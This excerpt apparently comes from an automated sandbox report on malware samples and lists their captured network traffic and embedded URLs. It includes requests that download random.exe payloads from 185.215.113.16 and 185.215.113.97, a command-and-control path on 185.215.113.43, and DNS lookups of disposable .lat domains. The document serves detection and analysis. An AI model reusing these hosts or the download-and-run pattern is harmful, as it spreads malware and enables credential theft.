Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKS1yQEIl7bJAQijtskBCKmdygEIr4fLAQiUocsBCIWgzQEIjafNAQjcvc0BCLnKzQEIq9HNAQiK080BCJ3WzQEIp9jNAQj5wNQVGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/Cyber_Yoda/random.exe HTTP/1.1Host: 185.215.113.97
Source: global traffic	HTTP traffic detected: GET /files/asjduwgsgausi/random.exe HTTP/1.1Host: 185.215.113.97
Source: global traffic	HTTP traffic detected: GET /files/sawdu5t/random.exe HTTP/1.1Host: 185.215.113.97
Source: global traffic	HTTP traffic detected: GET /files/c0dxnfz/random.exe HTTP/1.1Host: 185.215.113.97

Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=48d761384d37d7a8ac179270; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25653Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSun, 02 Feb 2025 06:43:02 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: warlikedbeliev.org
Source: global traffic	DNS traffic detected: DNS query: DGGKjBirXBdcY.DGGKjBirXBdcY
Source: global traffic	DNS traffic detected: DNS query: breakfasutwy.cyou
Source: global traffic	DNS traffic detected: DNS query: bloodyswif.lat
Source: global traffic	DNS traffic detected: DNS query: washyceehsu.lat
Source: global traffic	DNS traffic detected: DNS query: leggelatez.lat
Source: global traffic	DNS traffic detected: DNS query: miniatureyu.lat
Source: global traffic	DNS traffic detected: DNS query: kickykiduz.lat
Source: global traffic	DNS traffic detected: DNS query: savorraiykj.lat
Source: global traffic	DNS traffic detected: DNS query: shoefeatthe.lat
Source: global traffic	DNS traffic detected: DNS query: finickypwk.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: getyour.cyou
Source: global traffic	DNS traffic detected: DNS query: UrDtxPvdestkLUKCgdoC.UrDtxPvdestkLUKCgdoC
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: warlikedbeliev.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 02 Feb 2025 06:41:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDMTZ3Xd6wgEInqw93zy2JsylRO6tsuzy8SzVMNUF1ezDPoMXdQCAnL2AcSfqY%2BE%2FKn9FqUWXUQEDv4SRfBDeoCMI%2FQmNAsvrUKVpHrLL0qt7RO%2FNQyUUKMi3yqRFkzs20WyUlk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 90b832686d8743b8-EWR

Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: oaBqkImU6R.exe, 00000001.00000002.1579080411.0000000001445000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: oaBqkImU6R.exe, 00000001.00000002.1579080411.0000000001445000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/2K
Source: oaBqkImU6R.exe, oaBqkImU6R.exe, 00000001.00000003.1577692596.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000002.1579080411.0000000001445000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000002.1578764079.00000000013ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: oaBqkImU6R.exe, 00000001.00000002.1579080411.0000000001445000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exegQ
Source: oaBqkImU6R.exe, oaBqkImU6R.exe, 00000001.00000002.1579080411.0000000001445000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: oaBqkImU6R.exe, 00000001.00000002.1579080411.0000000001445000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe-Q
Source: oaBqkImU6R.exe, 00000001.00000003.1577692596.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeJ
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ViewSizePreferences.SourceAumid
Source: skotes.exe, 00000004.00000002.2789211992.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php-
Source: skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2803001
Source: skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2805001
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6W
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpl
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded$W
Source: skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpp
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=4
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=l
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/a
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/iles/sawdu5t/random.exe
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/l
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/otti
Source: skotes.exe, 00000004.00000002.2789211992.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.97/files/Cyber_Yoda/random.exe
Source: skotes.exe, 00000004.00000002.2789211992.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.97/files/Cyber_Yoda/random.exec
Source: skotes.exe, 00000004.00000002.2789211992.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.97/files/Cyber_Yoda/random.exerlmon.dll
Source: skotes.exe, 00000004.00000002.2789211992.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.97/files/asjduwgsgausi/random.exe
Source: skotes.exe, 00000004.00000002.2789211992.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.97/files/asjduwgsgausi/random.exeg
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.97/files/c0dxnfz/random.exe
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.97/files/sawdu5t/random.exe
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.97/files/sawdu5t/random.exel
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: powershell.exe, 00000032.00000002.2728046906.00000249F2BE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000032.00000002.2728046906.00000249F2BE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: ffb3ad5f2d.exe, 00000007.00000000.1857977213.0000000000409000.00000002.00000001.01000000.0000000B.sdmp, ffb3ad5f2d.exe, 00000007.00000002.1866116724.0000000000409000.00000002.00000001.01000000.0000000B.sdmp, e18d636f08.exe, 00000019.00000000.2319165447.0000000000409000.00000002.00000001.01000000.0000000F.sdmp, e18d636f08.exe, 00000019.00000002.2330004556.0000000000409000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000022.00000002.2481049895.000001E65087C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2712902898.00000249EA50C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: oaBqkImU6R.exe, 00000001.00000003.1473396641.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000022.00000002.2433470814.000001E640A38000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000022.00000002.2433470814.000001E640811000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2566675634.00000249DA4A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000022.00000002.2433470814.000001E640A38000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: powershell.exe, 00000032.00000002.2566675634.00000249DA6C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Avoiding.com, 00000015.00000000.1891649052.0000000000B25000.00000002.00000001.01000000.0000000D.sdmp, Macromedia.com, 0000002E.00000000.2497123318.0000000000345000.00000002.00000001.01000000.00000019.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: skotes.exe, 00000004.00000002.2789211992.0000000000725000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000004.00000002.2789211992.0000000000712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: 8b5cf17642.exe, 0000001A.00000003.2323669976.00000000023D0000.00000004.00001000.00020000.00000000.sdmp, 8b5cf17642.exe, 0000001A.00000003.2324305096.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, 8b5cf17642.tmp, 0000001B.00000000.2325131348.0000000000401000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: 8b5cf17642.exe, 0000001A.00000003.2323669976.00000000023D0000.00000004.00001000.00020000.00000000.sdmp, 8b5cf17642.exe, 0000001A.00000003.2324305096.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, 8b5cf17642.tmp, 0000001B.00000000.2325131348.0000000000401000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
